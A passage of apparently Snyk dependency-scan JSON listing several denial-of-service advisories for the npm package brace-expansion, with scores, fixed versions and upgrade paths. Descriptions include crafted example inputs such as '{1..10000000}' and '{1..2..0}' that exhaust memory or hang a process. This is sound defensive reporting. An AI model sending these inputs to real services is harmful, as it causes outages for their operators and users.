"upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", 